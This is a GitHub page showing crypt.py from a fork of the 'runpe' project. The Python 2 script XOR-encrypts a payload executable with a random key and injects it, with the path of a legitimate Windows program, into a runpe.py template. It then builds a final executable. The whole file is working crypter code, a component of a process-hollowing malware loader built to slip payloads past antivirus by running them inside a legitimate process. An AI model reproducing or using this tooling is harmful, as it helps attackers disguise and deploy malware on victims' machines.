forked from oueldz4/runpe
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcrypt.py
65 lines (50 loc) · 1.56 KB
/
crypt.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python
# This script generates a random key
# and encrypt the payload with it
# then put it in a new file "runpe_final.py"
from itertools import cycle, izip
from binascii import unhexlify
import sys, uuid, re, os
# function that xors each byte of the payload with a random key
def xor(s, key):
key = cycle(key)
return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(s, key))
# check for arguments
if len(sys.argv) != 3:
print "Usage: crypt.py Payload.exe C:\\windows\\Legitim.exe"
exit(1)
linelength = 16
path = sys.argv[2]
path = "'"+path.replace("\\","\\\\")+"'"
# generate random key
random = str(uuid.uuid4().get_hex()[0:10])
# Get the payload
f = open(sys.argv[1], "rb")
payload = f.read()
f.close()
# xor the payload with the random key
xored = xor(payload, random)
# Format the payload
hexarray = ["{:02x}".format(ord(c)) for c in xored]
formatted = ""
for byte in hexarray :
formatted += "\\x"+byte
lines = [formatted[x:x+linelength*4] for x in range(0, len(formatted) ,linelength*4)]
output = ""
for line in lines :
output += '"'+line+'"\n'
# Get the runpe.py code
f = open("runpe.py", 'r')
code = f.read()
f.close()
# Make changes in the runpe.py
var = re.sub("#Random Key", "randomkey = \'"+str(random)+'\'', code)
var1 = re.sub("#File Path", "filepath = "+path, var)
varfinal = re.sub("#Encrypted Buffer", "encryptedbuff = ("+output+")", var1)
# Create the final script
final = open("runpe_final.py", 'w')
final.write(varfinal)
final.close()
# Launch setup.py to make the final executable
os.system('setup.py')
print "\n[+] final file created"